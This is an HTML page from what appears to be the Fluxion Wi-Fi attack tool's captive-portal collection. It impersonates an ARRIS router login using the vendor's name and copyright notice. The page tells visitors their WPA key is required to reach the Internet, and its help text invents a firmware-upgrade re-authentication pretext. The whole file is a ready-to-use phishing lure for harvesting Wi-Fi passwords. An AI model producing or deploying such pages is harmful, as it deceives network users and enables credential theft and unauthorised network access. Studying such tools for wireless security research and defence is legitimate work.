fluxion/attacks/Captive Portal/sites/ARRIS_English.portal/index.html

169 lines
6.8 KiB
HTML
Raw Normal View History

<!DOCTYPE html>
<html lang="en">
<head>
<!-- Document Meta -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
<meta name="author" content="Arris International">
<meta name="description" content="Arris telecommunications.">
<meta name="keywords" content="Arris wireless gateway router">
<title>ARRIS Gateway</title>
<!-- Favicon -->
<link rel="icon" type="image/png" href="assets/images/icon/favicon-256x256.png" sizes="256x256">
<link rel="icon" type="image/png" href="assets/images/icon/favicon-128x128.png" sizes="128x128">
<link rel="icon" type="image/png" href="assets/images/icon/favicon-64x64.png" sizes="64x64">
<link rel="icon" type="image/png" href="assets/images/icon/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="assets/images/icon/favicon-16x16.png" sizes="16x16">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<!-- Bootstrap Theme -->
<link rel="stylesheet" href="css/bootstrap-theme.min.css">
<!-- Custom Style -->
<link rel="stylesheet" href="css/custom.css">
<!-- jQuery Framework -->
<script src="js/jquery-3.2.1.min.js"></script>
<!-- Bootstrap Scripts -->
<script src="js/bootstrap.min.js"></script>
<!-- Custom Scripts -->
<script src="js/custom.js"></script>
</head>
<body>
<!-- Navigation content begins -->
<nav class="navbar navbar-inverse navbar-static-top">
<div class="container">
<header class="navbar-header">
<a class="navbar-brand" href="index.html">
<span>
<img alt="Arris Int." src="images/arris-icon.png">
</span>
<span class="text">ARRIS&trade;</span>
</a>
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar-primary">
<!-- "Toggle navigation" only visible on screen-readers -->
<span class="sr-only">Toggle navigation</span>
<!-- The spans below comprise the [mobile's] menu button three horizontal bars -->
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
</header>
<!-- Navigation links and other content will be collapsable when in mobile devices -->
<div class="collapse navbar-collapse" id="navbar-primary">
<!-- Left navigation bar segment -->
<div class="navbar-left">
<ul class="nav navbar-nav">
<li class="active">
<a href="#" aria-controls="wireless management"><span class="glyphicon glyphicon-signal" aria-hidden="true"></span> Wireless</a>
</li>
<li disabled>
<a href="#" aria-controls="modem management"><span class="glyphicon glyphicon-transfer" aria-hidden="true"></span> Modem</a>
</li>
<li disabled>
<a href="#" aria-controls="router management"><span class="glyphicon glyphicon-fullscreen" aria-hidden="true"></span> Router</a>
</li>
</ul>
</div>
<!-- Right navigation bar segment -->
<div class="navbar-right">
<ul class="nav navbar-nav">
<li>
<a href="#" title="Quick help" data-toggle="modal" data-target="#quick-help"><span class="glyphicon glyphicon-question-sign" aria-hidden="true"></span> Help</a>
</li>
</ul>
</div>
</div>
</div>
</nav>
<!-- Auxillary Alerts -->
<article class="container" id="alert-section">
<h3 class="hidden">Alerts</h3>
<template id="alert">
<div class="alert alert-dismissible" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="dismiss"><span aria-hidden="true">&times;</span></button>
<span class="glyphicon" aria-hidden="true"></span> <strong class="heading"></strong>: <span class="message"></span>
</div>
</template>
</article>
<!-- Main content begins -->
<main>
<section class="container" id="authentication-section">
<h2 class="sr-only">Authentication Section</h2>
<article class="panel panel-default">
<header class="panel-heading">
<h3 class="panel-title"><span class="glyphicon glyphicon-lock" aria-hidden="true"></span> Wireless Protected Access <span class="pull-right glyphicon glyphicon-user"></span></h3>
</header>
<div class="panel-body">
<p>Your <strong>Wi-Fi security password</strong> is required to access the Internet, please authenticate to gain access.</p>
<div class="form-group">
<div class="input-group">
<span class="input-group-addon">WPA Key</span>
<input class="form-control" name="key1" type="password" id="wpa-password">
<span class="input-group-btn">
<button class="btn btn-default" type="button" id="wpa-visibility"><span class="glyphicon glyphicon-eye-open"></span></button>
</span>
</div>
</div>
<button type="button" class="btn btn-success btn-block" id="wpa-submit" disabled>Authenticate</button>
</div>
</article>
</section>
<section>
<!-- Modal -->
<div class="modal fade" id="quick-help" tabindex="-1" role="dialog" aria-labelledby="Quick Help">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
<h4 class="modal-title"><span class="glyphicon glyphicon-question-sign"></span> Help</h4>
</div>
<div class="modal-body">
<h5><span class="glyphicon glyphicon-info-sign"></span> About WPA</h5>
<p>Wireless Protected Access (WPA/WPA2) offers the most advanced type of security for wireless networks. Your router is currently using the WPA2 security.</p>
<hr>
<h5><span class="glyphicon glyphicon-info-sign"></span> Authentication</h5>
<p>The <u>WPA key</u> is required every time a new device joins the network. Devices must <strong>re-authenticate after a firmware upgrade</strong>.</p>
<ul>
<li>The <u>WPA key</u> refers to your Wi-Fi password/passphrase.</li>
<li>The <u>WPA key</u> is printed under your ARRIS&trade; wireless router.</li>
<li>If the <u>WPA key</u> is lost, the router must be reset.</li>
<li>To reset the router, <strong>press and hold the reset button</strong> on the device <strong>for 30 seconds</strong>.</li>
</ul>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
</section>
</main>
<!-- Footer content begins -->
<footer>
<!-- Rights section -->
<section class="container rights">
<h2 class="sr-only">Rights</h2>
<p>&copy; 2017 ARRIS International Plc&trade;.<br class="visible-xs"> All rights reserved.</p>
</section>
</footer>
</body>
</html>